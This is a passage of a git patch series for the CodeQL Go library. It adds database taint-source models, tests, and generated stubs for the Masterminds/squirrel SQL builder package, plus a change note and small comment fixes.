.../go/dataflow/flowsources/local/database/test.ext.yml | 6 ++++++ .../database/vendor/github.com/nonexistent/sources/stub.go | 5 +++++ .../dataflow/flowsources/local/database/vendor/modules.txt | 3 +++ 5 files changed, 21 insertions(+), 1 deletion(-) create mode 100644 go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod index 9a16d637f9b..593693c585f 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod @@ -11,6 +11,7 @@ require ( github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a go.mongodb.org/mongo-driver v1.17.3 gorm.io/gorm v1.25.12 + github.com/nonexistent/sources v0.0.0-20250300000000-000000000000 ) require ( diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml index 853b9e9a719..5e7e11e1b31 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml @@ -3,4 +3,9 @@ extensions: pack: codeql/threat-models extensible: threatModelConfiguration data: - - ["database", true, 0] \ No newline at end of file + - ["database", true, 0] + - addsTo: + pack: codeql/go-all + extensible: sourceModel + data: + - ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"] \ No newline at end of file diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml index 00f4b3659c3..45623fd20ad 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml @@ -5,3 +5,9 @@ extensions: extensible: threatModelConfiguration data: - ["database", true, 0] + + - addsTo: + pack: codeql/go-all + extensible: sourceModel + data: + - ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"] \ No newline at end of file diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go new file mode 100644 index 00000000000..a691fe06dc8 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go @@ -0,0 +1,5 @@ +package nonexistent + +func Source[T any]() T { + return *new(T) +} diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt index 874a14a5288..86f09e87d39 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt @@ -22,6 +22,9 @@ go.mongodb.org/mongo-driver/mongo # gorm.io/gorm v1.25.12 ## explicit gorm.io/gorm +# github.com/nonexistent/sources v0.0.0-20250300000000-000000000000 +## explicit +github.com/nonexistent/sources # github.com/couchbase/gocbcore/v10 v10.5.4 ## explicit github.com/couchbase/gocbcore/v10 From c5f5427d7229a5447841ee68952e58637735f922 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Sun, 2 Mar 2025 23:33:53 -0500 Subject: [PATCH 052/121] Add test for `squirrel` package --- .../database/test_Masterminds_squirrel.go | 291 ++++++++++ .../github.com/Masterminds/squirrel/stub.go | 501 ++++++++++++++++++ 2 files changed, 792 insertions(+) create mode 100644 go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go create mode 100644 go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go new file mode 100644 index 00000000000..cc1418e884c --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go @@ -0,0 +1,291 @@ +package test + +//go:generate depstubber -vendor github.com/Masterminds/squirrel DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith + +import ( + "context" + + "github.com/Masterminds/squirrel" + src "github.com/nonexistent/sources" +) + +func test_Masterminds_squirrel_QueryRower(ctx context.Context, db squirrel.QueryRower, sqlizer squirrel.Sqlizer) { + scanner := db.QueryRow("") // $ source + + var r1, r2, r3 string + scanner.Scan(&r1, &r2, &r3) + + sink(r1) // $ hasTaintFlow="r1" + sink(r2) // $ hasTaintFlow="r2" + sink(r3) // $ hasTaintFlow="r3" + + scanner2 := squirrel.QueryRowWith(db, sqlizer) // $ source + + var r4, r5, r6 string + scanner2.Scan(&r4, &r5, &r6) + + sink(r4) // $ hasTaintFlow="r4" + sink(r5) // $ hasTaintFlow="r5" + sink(r6) // $ hasTaintFlow="r6" +} + +func test_Masterminds_squirrel_QueryRowerContext(ctx context.Context, db squirrel.QueryRowerContext, sqlizer squirrel.Sqlizer) { + scanner := db.QueryRowContext(ctx, "") // $ source + + var r1, r2, r3 string + scanner.Scan(&r1, &r2, &r3) + + sink(r1) // $ hasTaintFlow="r1" + sink(r2) // $ hasTaintFlow="r2" + sink(r3) // $ hasTaintFlow="r3" + + scanner2 := squirrel.QueryRowContextWith(ctx, db, sqlizer) // $ source + + var r4, r5, r6 string + scanner2.Scan(&r4, &r5, &r6) + + sink(r4) // $ hasTaintFlow="r4" + sink(r5) // $ hasTaintFlow="r5" + sink(r6) // $ hasTaintFlow="r6" +} + +func test_Masterminds_squirrel_Queryer(ctx context.Context, db squirrel.Queryer, sqlizer squirrel.Sqlizer) { + v1, err := db.Query("") // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := squirrel.QueryWith(db, sqlizer) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" +} + +func test_Masterminds_squirrel_QueryerContext(ctx context.Context, db squirrel.QueryerContext, sqlizer squirrel.Sqlizer) { + v1, err := db.QueryContext(ctx, "") // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := squirrel.QueryContextWith(ctx, db, sqlizer) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" +} + +// StdSqlCtx extends StdSql so we can test both with a StdSqlCtx +func test_Masterminds_squirrel_StdSql_StdSqlCtx(ctx context.Context, std squirrel.StdSqlCtx) { + v1, err := std.Query("") // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := std.QueryContext(ctx, "") // $ source + if err != nil { + return + } + + sink(v2) // $ hasTaintFlow="v2" + + s3 := std.QueryRow("") // $ source + + if err != nil { + return + } + var r31, r32, r33 string + s3.Scan(&r31, &r32, &r33) + + sink(r31) // $ hasTaintFlow="r31" + sink(r32) // $ hasTaintFlow="r32" + sink(r33) // $ hasTaintFlow="r33" + + s4 := std.QueryRowContext(ctx, "") // $ source + + var r41, r42, r43 string + s4.Scan(&r41, &r42, &r43) + + sink(r41) // $ hasTaintFlow="r41" + sink(r42) // $ hasTaintFlow="r42" + sink(r43) // $ hasTaintFlow="r43" +} + +func test_Masterminds_squirrel_DeleteBuilder(ctx context.Context, builder squirrel.DeleteBuilder) { + v1, err := builder.Query() // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := builder.QueryContext(ctx) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" + + s3 := builder.QueryRowContext(ctx) // $ source + + var r31, r32, r33 string + s3.Scan(&r31, &r32, &r33) + + sink(r31) // $ hasTaintFlow="r31" + sink(r32) // $ hasTaintFlow="r32" + sink(r33) // $ hasTaintFlow="r33" + + builder2 := src.Source[squirrel.DeleteBuilder]() // $ source + + var r41, r42, r43 string + builder2.ScanContext(ctx, &r41, &r42, &r43) + + sink(r41) // $ hasTaintFlow="r41" + sink(r42) // $ hasTaintFlow="r42" + sink(r43) // $ hasTaintFlow="r43" +} + +func test_Masterminds_squirrel_InsertBuilder(ctx context.Context, builder squirrel.InsertBuilder) { + v1, err := builder.Query() // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := builder.QueryContext(ctx) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" + + s3 := builder.QueryRow() // $ source + + var r31, r32, r33 string + s3.Scan(&r31, &r32, &r33) + + sink(r31) // $ hasTaintFlow="r31" + sink(r32) // $ hasTaintFlow="r32" + sink(r33) // $ hasTaintFlow="r33" + + s4 := builder.QueryRowContext(ctx) // $ source + + var r41, r42, r43 string + s4.Scan(&r41, &r42, &r43) + + sink(r41) // $ hasTaintFlow="r41" + sink(r42) // $ hasTaintFlow="r42" + sink(r43) // $ hasTaintFlow="r43" + + builder2 := src.Source[squirrel.InsertBuilder]() // $ source + + var r51, r52, r53 string + builder2.Scan(&r51, &r52, &r53) + + sink(r51) // $ hasTaintFlow="r51" + sink(r52) // $ hasTaintFlow="r52" + sink(r53) // $ hasTaintFlow="r53" + + var r61, r62, r63 string + builder2.ScanContext(ctx, &r61, &r62, &r63) + + sink(r61) // $ hasTaintFlow="r61" + sink(r62) // $ hasTaintFlow="r62" + sink(r63) // $ hasTaintFlow="r63" +} + +func test_Masterminds_squirrel_SelectBuilder(ctx context.Context, builder squirrel.SelectBuilder) { + v1, err := builder.Query() // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := builder.QueryContext(ctx) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" + + s3 := builder.QueryRow() // $ source + + var r31, r32, r33 string + s3.Scan(&r31, &r32, &r33) + + sink(r31) // $ hasTaintFlow="r31" + sink(r32) // $ hasTaintFlow="r32" + sink(r33) // $ hasTaintFlow="r33" + + s4 := builder.QueryRowContext(ctx) // $ source + + var r41, r42, r43 string + s4.Scan(&r41, &r42, &r43) + + sink(r41) // $ hasTaintFlow="r41" + sink(r42) // $ hasTaintFlow="r42" + sink(r43) // $ hasTaintFlow="r43" + + builder2 := src.Source[squirrel.SelectBuilder]() // $ source + + var r51, r52, r53 string + builder2.Scan(&r51, &r52, &r53) + + sink(r51) // $ hasTaintFlow="r51" + sink(r52) // $ hasTaintFlow="r52" + sink(r53) // $ hasTaintFlow="r53" + + var r61, r62, r63 string + builder2.ScanContext(ctx, &r61, &r62, &r63) + + sink(r61) // $ hasTaintFlow="r61" + sink(r62) // $ hasTaintFlow="r62" + sink(r63) // $ hasTaintFlow="r63" +} + +func test_Masterminds_squirrel_UpdateBuilder(ctx context.Context, builder squirrel.UpdateBuilder) { + v1, err := builder.Query() // $ source + if err != nil { + return + } + sink(v1) // $ hasTaintFlow="v1" + + v2, err := builder.QueryContext(ctx) // $ source + if err != nil { + return + } + sink(v2) // $ hasTaintFlow="v2" + + s3 := builder.QueryRow() // $ source + + var r31, r32, r33 string + s3.Scan(&r31, &r32, &r33) + + sink(r31) // $ hasTaintFlow="r31" + sink(r32) // $ hasTaintFlow="r32" + sink(r33) // $ hasTaintFlow="r33" + + s4 := builder.QueryRowContext(ctx) // $ source + + var r41, r42, r43 string + s4.Scan(&r41, &r42, &r43) + + sink(r41) // $ hasTaintFlow="r41" + sink(r42) // $ hasTaintFlow="r42" + sink(r43) // $ hasTaintFlow="r43" + + builder2 := src.Source[squirrel.UpdateBuilder]() // $ source + + var r51, r52, r53 string + builder2.Scan(&r51, &r52, &r53) + + sink(r51) // $ hasTaintFlow="r51" + sink(r52) // $ hasTaintFlow="r52" + sink(r53) // $ hasTaintFlow="r53" + + var r61, r62, r63 string + builder2.ScanContext(ctx, &r61, &r62, &r63) + + sink(r61) // $ hasTaintFlow="r61" + sink(r62) // $ hasTaintFlow="r62" + sink(r63) // $ hasTaintFlow="r63" +} diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go new file mode 100644 index 00000000000..5b77477bb68 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go @@ -0,0 +1,501 @@ +// Code generated by depstubber. DO NOT EDIT. +// This is a simple stub for github.com/Masterminds/squirrel, strictly for use in testing. + +// See the LICENSE file for information about the licensing of the original library. +// Source: github.com/Masterminds/squirrel (exports: DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder; functions: QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith) + +// Package squirrel is a stub of github.com/Masterminds/squirrel, generated by depstubber. +package squirrel + +import ( + context "context" + sql "database/sql" +) + +type BaseRunner interface { + Exec(_ string, _ ...interface{}) (sql.Result, error) + Query(_ string, _ ...interface{}) (*sql.Rows, error) +} + +type DeleteBuilder struct{} + +func (_ DeleteBuilder) Exec() (sql.Result, error) { + return nil, nil +} + +func (_ DeleteBuilder) ExecContext(_ context.Context) (sql.Result, error) { + return nil, nil +} + +func (_ DeleteBuilder) From(_ string) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) Limit(_ uint64) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) MustSql() (string, []interface{}) { + return "", nil +} + +func (_ DeleteBuilder) Offset(_ uint64) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) OrderBy(_ ...string) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) PlaceholderFormat(_ PlaceholderFormat) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) Prefix(_ string, _ ...interface{}) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) PrefixExpr(_ Sqlizer) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) Query() (*sql.Rows, error) { + return nil, nil +} + +func (_ DeleteBuilder) QueryContext(_ context.Context) (*sql.Rows, error) { + return nil, nil +} + +func (_ DeleteBuilder) QueryRowContext(_ context.Context) RowScanner { + return nil +} + +func (_ DeleteBuilder) RunWith(_ BaseRunner) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) ScanContext(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ DeleteBuilder) Suffix(_ string, _ ...interface{}) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) SuffixExpr(_ Sqlizer) DeleteBuilder { + return DeleteBuilder{} +} + +func (_ DeleteBuilder) ToSql() (string, []interface{}, error) { + return "", nil, nil +} + +func (_ DeleteBuilder) Where(_ interface{}, _ ...interface{}) DeleteBuilder { + return DeleteBuilder{} +} + +type InsertBuilder struct{} + +func (_ InsertBuilder) Columns(_ ...string) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) Exec() (sql.Result, error) { + return nil, nil +} + +func (_ InsertBuilder) ExecContext(_ context.Context) (sql.Result, error) { + return nil, nil +} + +func (_ InsertBuilder) Into(_ string) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) MustSql() (string, []interface{}) { + return "", nil +} + +func (_ InsertBuilder) Options(_ ...string) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) PlaceholderFormat(_ PlaceholderFormat) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) Prefix(_ string, _ ...interface{}) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) PrefixExpr(_ Sqlizer) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) Query() (*sql.Rows, error) { + return nil, nil +} + +func (_ InsertBuilder) QueryContext(_ context.Context) (*sql.Rows, error) { + return nil, nil +} + +func (_ InsertBuilder) QueryRow() RowScanner { + return nil +} + +func (_ InsertBuilder) QueryRowContext(_ context.Context) RowScanner { + return nil +} + +func (_ InsertBuilder) RunWith(_ BaseRunner) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) Scan(_ ...interface{}) error { + return nil +} + +func (_ InsertBuilder) ScanContext(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ InsertBuilder) Select(_ SelectBuilder) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) SetMap(_ map[string]interface{}) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) Suffix(_ string, _ ...interface{}) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) SuffixExpr(_ Sqlizer) InsertBuilder { + return InsertBuilder{} +} + +func (_ InsertBuilder) ToSql() (string, []interface{}, error) { + return "", nil, nil +} + +func (_ InsertBuilder) Values(_ ...interface{}) InsertBuilder { + return InsertBuilder{} +} + +type PlaceholderFormat interface { + ReplacePlaceholders(_ string) (string, error) +} + +func QueryContextWith(_ context.Context, _ QueryerContext, _ Sqlizer) (*sql.Rows, error) { + return nil, nil +} + +func QueryRowContextWith(_ context.Context, _ QueryRowerContext, _ Sqlizer) RowScanner { + return nil +} + +func QueryRowWith(_ QueryRower, _ Sqlizer) RowScanner { + return nil +} + +type QueryRower interface { + QueryRow(_ string, _ ...interface{}) RowScanner +} + +type QueryRowerContext interface { + QueryRowContext(_ context.Context, _ string, _ ...interface{}) RowScanner +} + +func QueryWith(_ Queryer, _ Sqlizer) (*sql.Rows, error) { + return nil, nil +} + +type Queryer interface { + Query(_ string, _ ...interface{}) (*sql.Rows, error) +} + +type QueryerContext interface { + QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error) +} + +type RowScanner interface { + Scan(_ ...interface{}) error +} + +type SelectBuilder struct{} + +func (_ SelectBuilder) Column(_ interface{}, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Columns(_ ...string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) CrossJoin(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Distinct() SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Exec() (sql.Result, error) { + return nil, nil +} + +func (_ SelectBuilder) ExecContext(_ context.Context) (sql.Result, error) { + return nil, nil +} + +func (_ SelectBuilder) From(_ string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) FromSelect(_ SelectBuilder, _ string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) GroupBy(_ ...string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Having(_ interface{}, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) InnerJoin(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Join(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) JoinClause(_ interface{}, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) LeftJoin(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Limit(_ uint64) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) MustSql() (string, []interface{}) { + return "", nil +} + +func (_ SelectBuilder) Offset(_ uint64) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Options(_ ...string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) OrderBy(_ ...string) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) OrderByClause(_ interface{}, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) PlaceholderFormat(_ PlaceholderFormat) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Prefix(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) PrefixExpr(_ Sqlizer) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Query() (*sql.Rows, error) { + return nil, nil +} + +func (_ SelectBuilder) QueryContext(_ context.Context) (*sql.Rows, error) { + return nil, nil +} + +func (_ SelectBuilder) QueryRow() RowScanner { + return nil +} + +func (_ SelectBuilder) QueryRowContext(_ context.Context) RowScanner { + return nil +} + +func (_ SelectBuilder) RemoveColumns() SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) RemoveLimit() SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) RemoveOffset() SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) RightJoin(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) RunWith(_ BaseRunner) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) Scan(_ ...interface{}) error { + return nil +} + +func (_ SelectBuilder) ScanContext(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ SelectBuilder) Suffix(_ string, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) SuffixExpr(_ Sqlizer) SelectBuilder { + return SelectBuilder{} +} + +func (_ SelectBuilder) ToSql() (string, []interface{}, error) { + return "", nil, nil +} + +func (_ SelectBuilder) Where(_ interface{}, _ ...interface{}) SelectBuilder { + return SelectBuilder{} +} + +type Sqlizer interface { + ToSql() (string, []interface{}, error) +} + +type StdSql interface { + Exec(_ string, _ ...interface{}) (sql.Result, error) + Query(_ string, _ ...interface{}) (*sql.Rows, error) + QueryRow(_ string, _ ...interface{}) *sql.Row +} + +type StdSqlCtx interface { + Exec(_ string, _ ...interface{}) (sql.Result, error) + ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error) + Query(_ string, _ ...interface{}) (*sql.Rows, error) + QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error) + QueryRow(_ string, _ ...interface{}) *sql.Row + QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row +} + +type UpdateBuilder struct{} + +func (_ UpdateBuilder) Exec() (sql.Result, error) { + return nil, nil +} + +func (_ UpdateBuilder) ExecContext(_ context.Context) (sql.Result, error) { + return nil, nil +} + +func (_ UpdateBuilder) From(_ string) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) FromSelect(_ SelectBuilder, _ string) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Limit(_ uint64) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) MustSql() (string, []interface{}) { + return "", nil +} + +func (_ UpdateBuilder) Offset(_ uint64) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) OrderBy(_ ...string) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) PlaceholderFormat(_ PlaceholderFormat) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Prefix(_ string, _ ...interface{}) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) PrefixExpr(_ Sqlizer) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Query() (*sql.Rows, error) { + return nil, nil +} + +func (_ UpdateBuilder) QueryContext(_ context.Context) (*sql.Rows, error) { + return nil, nil +} + +func (_ UpdateBuilder) QueryRow() RowScanner { + return nil +} + +func (_ UpdateBuilder) QueryRowContext(_ context.Context) RowScanner { + return nil +} + +func (_ UpdateBuilder) RunWith(_ BaseRunner) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Scan(_ ...interface{}) error { + return nil +} + +func (_ UpdateBuilder) ScanContext(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ UpdateBuilder) Set(_ string, _ interface{}) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) SetMap(_ map[string]interface{}) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Suffix(_ string, _ ...interface{}) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) SuffixExpr(_ Sqlizer) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) Table(_ string) UpdateBuilder { + return UpdateBuilder{} +} + +func (_ UpdateBuilder) ToSql() (string, []interface{}, error) { + return "", nil, nil +} + +func (_ UpdateBuilder) Where(_ interface{}, _ ...interface{}) UpdateBuilder { + return UpdateBuilder{} +} From 59ad30dea740d80f0ddb02a7398857b5f03ec01b Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Sun, 2 Mar 2025 23:37:10 -0500 Subject: [PATCH 053/121] Change note --- go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md diff --git a/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md b/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md new file mode 100644 index 00000000000..05896168630 --- /dev/null +++ b/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md @@ -0,0 +1,5 @@ +--- +category: minorAnalysis +--- +* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package. + From 1de15ec66d34b2bf587530778354cc0d1b30a2b1 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 21 Mar 2025 11:43:17 +0000 Subject: [PATCH 054/121] Fix signatures in comments --- go/ql/lib/semmle/go/frameworks/Squirrel.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/lib/semmle/go/frameworks/Squirrel.qll b/go/ql/lib/semmle/go/frameworks/Squirrel.qll index b8fec050791..3feec3c8154 100644 --- a/go/ql/lib/semmle/go/frameworks/Squirrel.qll +++ b/go/ql/lib/semmle/go/frameworks/Squirrel.qll @@ -22,7 +22,7 @@ module Squirrel { FunctionOutput outp; RowScan() { - // signature: func (rs *RowScanner) Scan(dest ...interface{}) error + // signature: func (r *Row) Scan(dest ...interface{}) error this.hasQualifiedName(packagePath(), "Row", "Scan") and inp.isReceiver() and outp.isParameter(_) @@ -54,7 +54,7 @@ module Squirrel { FunctionOutput outp; BuilderScan() { - // signature: func (rs *InsertBuilder) Scan(dest ...interface{}) error + // signature: func (b InsertBuilder) Scan(dest ...interface{}) error this.hasQualifiedName(packagePath(), ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and inp.isReceiver() and @@ -71,7 +71,7 @@ module Squirrel { FunctionOutput outp; BuilderScanContext() { - // signature: func (rs *InsertBuilder) ScanContext(ctx context.Context, dest ...interface{}) error + // signature: func (b InsertBuilder) ScanContext(ctx context.Context, dest ...interface{}) error this.hasQualifiedName(packagePath(), ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and inp.isReceiver() and From 09d69293b504a901512d66a72eea8a46c7d0c834 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 21 Mar 2025 12:26:43 +0000 Subject: [PATCH 055/121] Fix package name in stub --- .../database/vendor/github.com/nonexistent/sources/stub.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go index a691fe06dc8..afc57a3900d 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go @@ -1,4 +1,4 @@ -package nonexistent +package sources func Source[T any]() T { return *new(T) From bbed79cf58b9c8fe24a03a022e4dc08fde861902 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 21 Mar 2025 12:17:28 +0000 Subject: [PATCH 056/121] Add squirrel to go.mod --- .../semmle/go/dataflow/flowsources/local/database/go.mod | 1 + .../go/dataflow/flowsources/local/database/vendor/modules.txt | 3 +++ 2 files changed, 4 insertions(+) diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod index 593693c585f..560bcd759c3 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod +++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod @@ -8,6 +8,7 @@ require ( github.com/couchbase/gocb v1.6.7 github.com/couchbase/gocb/v2 v2.9.4 github.com/jmoiron/sqlx v1.4.0 + github.com/Masterminds/squirrel v1.5.4 github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a go.mongodb.org/mongo-driver v1.17.3 gorm.io/gorm v1.25.12 diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt index 86f09e87d39..01fbca5130d 100644 --- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/modules.txt +++ 